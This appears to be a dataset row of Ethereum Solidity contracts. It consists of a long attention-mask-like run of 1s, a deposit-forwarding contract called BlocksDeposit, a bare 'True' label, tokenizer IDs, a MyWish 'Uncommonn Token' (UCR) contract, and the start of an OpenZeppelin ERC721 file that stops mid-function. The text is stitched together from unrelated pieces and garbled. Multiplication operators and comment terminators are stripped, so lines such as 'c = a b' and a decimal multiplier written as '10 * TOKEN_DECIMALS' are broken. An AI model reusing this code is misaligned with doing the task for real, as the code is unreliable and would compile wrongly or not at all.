1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-11-23 / // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC777 { function name() external view returns (string memory); function symbol() external view returns (string memory); function granularity() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function send( address recipient, uint256 amount, bytes calldata data ) external; function burn(uint256 amount, bytes calldata data) external; function isOperatorFor(address operator, address tokenHolder) external view returns (bool); function authorizeOperator(address operator) external; function revokeOperator(address operator) external; function defaultOperators() external view returns (address[] memory); function operatorSend( address sender, address recipient, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; function operatorBurn( address account, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; event Sent( address indexed operator, address indexed from, address indexed to, uint256 amount, bytes data, bytes operatorData ); event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData); event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData); event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); } interface IERC777Recipient { /* * @dev Called by an {IERC777} token contract whenever tokens are being * moved or created into a registered account (`to`). The type of operation * is conveyed by `from` being the zero address or not. * * This call occurs _after_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the post-operation state. * * This function may revert to prevent the operation from being executed. / function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } interface IERC1820Registry { /* * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. / function setManager(address account, address newManager) external; /* * @dev Returns the manager for `account`. * * See {setManager}. / function getManager(address account) external view returns (address); /* * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. / function setInterfaceImplementer( address account, bytes32 _interfaceHash, address implementer ) external; /* * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. / function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address); /* * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. / function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /* * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. / function updateERC165Cache(address account, bytes4 interfaceId) external; /* * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. / function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /* * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } contract BlocksDeposit is IERC777Recipient, Ownable { using SafeMath for uint256; address public token = 0x8a6D4C8735371EBAF8874fBd518b56Edd66024eB; address public wallet; IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient"); event ERC20TokensRemoved(address tokenAddress, address sender, uint256 balance); event ERC777Send(address operator, address from, address to, uint256 amount, bytes userData, bytes operatorData); constructor(address _wallet) Ownable() { wallet = _wallet; _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } function updateWallet(address _wallet) public onlyOwner { wallet = _wallet; } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override { emit ERC777Send(operator, from, to, amount, userData, operatorData); IERC20(token).transfer(wallet, amount); emit ERC20TokensRemoved(token, to, amount); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2340, 1011, 2603, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 2655, 2850, 2696, 1007, 1063, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 10061, 3206, 2219, 3085, 2003, 6123, 1063, 4769, 2797, 1035, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 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/* * This file was generated by MyWish Platform (https://mywish.io/) * The complete code could be found at https://github.com/MyWishPlatform/ * Copyright (C) 2018 MyWish * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. / pragma solidity ^0.4.23; /* * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 / contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /* * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /* * @title Basic token * @dev Basic version of StandardToken, with no allowances. / contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /* * @dev total number of tokens in existence / function totalSupply() public view returns (uint256) { return totalSupply_; } /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /* * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 / contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /* * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol / contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred / function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. / function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. / function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /* * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. / function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /* * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. / function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /* * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". / contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor() public { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to relinquish control of the contract. / function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. / function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /* * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. / function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /* * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol / contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /* * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. / function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /* * @dev Function to stop minting new tokens. * @return True if the operation was successful. / function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { // freezing chains mapping (bytes32 => uint64) internal chains; // freezing amounts for each chain mapping (bytes32 => uint) internal freezings; // total freezing balance per address mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); /* * @dev Gets the balance of the specified address include freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } /* * @dev Gets the balance of the specified address without freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } /* * @dev gets freezing count * @param _addr Address of freeze tokens owner. / function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } /* * @dev gets freezing end date and freezing balance for the freezing portion specified by index. * @param _addr Address of freeze tokens owner. * @param _index Freezing portion index. It ordered by release date descending. / function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } /* * @dev freeze your tokens to the specified address. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to freeze. * @param _until Release date, must be in future. / function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } /* * @dev release first available freezing tokens. / function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } /* * @dev release all available for release freezing tokens. Gas usage is not deterministic! * @return how many tokens was released / function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { // WISH masc to increase entropy result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } /* * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). / contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /* * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. / function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. / contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /* * @dev Modifier to make a function callable only when the contract is not paused. / modifier whenNotPaused() { require(!paused); _; } /* * @dev Modifier to make a function callable only when the contract is paused. / modifier whenPaused() { require(paused); _; } /* * @dev called by the owner to pause, triggers stopped state / function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /* * @dev called by the owner to unpause, returns to normal state / function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { /* * @dev Mint the specified amount of token to the specified address and freeze it until the specified date. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to mint and freeze. * @param _until Release date, must be in future. * @return A boolean that indicates if the operation was successful. / function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 * TOKEN_DECIMALS; string public constant TOKEN_NAME = "Uncommonn Token"; string public constant TOKEN_SYMBOL = "UCR"; bool public constant PAUSED = false; address public constant TARGET_USER = 0xc4Ca16b889564729324447E369A32602D012d191; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } if (!CONTINUE_MINTING) { finishMinting(); } emit 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/** Submitted for verification at Etherscan.io on 2021-07-01 / // File: node_modules\openzeppelin-solidity\contracts\introspection\IERC165.sol pragma solidity ^0.5.2; /** * @title IERC165 * @dev https://eips.ethereum.org/EIPS/eip-165 / interface IERC165 { /* * @notice Query if a contract implements an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\IERC721.sol pragma solidity ^0.5.2; /* * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://eips.ethereum.org/EIPS/eip-721 / contract IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) public view returns (uint256 balance); function ownerOf(uint256 tokenId) public view returns (address owner); function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function transferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\IERC721Receiver.sol pragma solidity ^0.5.2; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / contract IERC721Receiver { /* * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safeTransfer`. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` / function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4); } // File: node_modules\openzeppelin-solidity\contracts\math\SafeMath.sol pragma solidity ^0.5.2; /* * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error / library SafeMath { /* * @dev Multiplies two unsigned integers, reverts on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 